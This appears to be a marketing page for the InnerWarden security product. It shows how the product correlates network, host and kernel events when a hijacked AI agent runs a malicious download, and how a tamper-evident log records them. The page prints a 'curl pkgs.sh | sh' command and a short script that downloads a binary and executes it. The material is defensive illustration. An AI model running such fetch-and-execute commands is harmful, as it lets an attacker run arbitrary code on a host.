Skip to content
Part 2 · the graph

Scattered events look innocent. Connected, they are an attack.

How InnerWarden connects the dots a hijacked AI agent leaves across network, host and kernel, and why the record can be trusted.

The story
Scattered events look innocent. Connected, they are an attack.
Legendattack pathcorrelation / evidence
Assume breach.
Trust nothing.
Verify everything.
Attacker endpoint
203.0.113.7
first seen 02:31:16 UTC
first contact with this host
Resolved domain
pkgs[.]sh
203.0.113.7
first seen 02:31:16 UTC
ttl 300s
unknown domain
Suspicious download
$ curl pkgs.sh | sh
screen: review. not denied
user dev · proc curl (4312)
time 02:31:17 UTC
network to host
Agent touches file
the hijacked agent
action file created
path /tmp/setup.bin
owner dev · perms 0755
time 02:31:18 UTC
The host (protected)
dev-box-01
Ubuntu 22.04 LTS
InnerWarden agent on
On its own
  • domain resolves
  • script downloaded
  • file written
  • process spawned
Looks harmless.
InnerWarden correlates
Cross-layer correlation connects the dots across network, host and kernel. Stage two only fires when it involves the same entity stage one flagged. The graph does not decide alone: it feeds the layers that do.
staged rules · 6 layers
Process tree (excerpt)
agent (4290)
└─ bash (4301)
   ├─ curl (4312)
   └─ sh (4313)
      └─ setup.bin ← blocked
Hash (SHA-256)
5b6e2c9f41d8…
setup.bin · 132 KB
not on the allowlist
Untrusted source leads to risk.
The script (piped to sh)
#!/bin/sh
curl -o /tmp/setup.bin pkgs.sh/x
chmod +x /tmp/setup.bin
/tmp/setup.bin
delivered via pipe · 132 B · 02:31:17 UTC
Blocked at the gate
the kernel Execution Gate
exec /tmp/setup.bin
reason unapproved program
time 02:31:19 UTC · -EPERM
kernel enforced
Execution blockednothing ran
Tamper-evident record
InnerWarden audit chain
anchor Ed25519 (Pro & Enterprise)
records: 4192
chain verified ✓
Audit chain (head)
#4189 9f2c… prev 8a11…
#4190 c07d… prev 9f2c…
#4191 5bde… prev c07d…
latest 7e91… ✓
Connected, they reveal the truth
attacker
→
unknown domain
→
download
→
file on host
→
blocked at exec
→
recorded & provable
Why this board can be trusted
The attacker cannot edit the record.

Each line of the log carries the SHA-256 of the line before it, and the file is locked so two writers cannot fork the chain. Edit one line and every hash after it stops matching; the break points at the exact spot. The chain proves the log is internally consistent; the off-host Ed25519 anchor(Pro & Enterprise) proves it is the original. Owning the host is not enough to rewrite what happened.

rules decide, the graph remembers, correlation connects, evidence proves
One story, three differentiators, one channel1The kernel gate2The graph & the layered decision3Models suggest, humans veto+Telegram, the pocket guard
the honest detail

The knowledge graph (11 node types, about 60 typed relations) and the correlation engine (staged rules across 6 layers with 69 cross-layer rules, plus a kill-chain tracker watching 8 named attack shapes) ship in Pro & Enterprise. The reactive screen's review flag does not block an exec by itself; the deny came from the kernel Execution Gate (hash allowlist, -EPERM, supported Linux, armed, Pro & Enterprise). The audit log is a SHA-256 hash chain, file-locked; the off-host Ed25519 anchor is Pro & Enterprise. The IP shown (203.0.113.7) is a documentation-reserved address and the domain is shown defanged; no attack-technique IDs are claimed. Facts verified against messaging/how-it-decides.md and reports/numbers.md.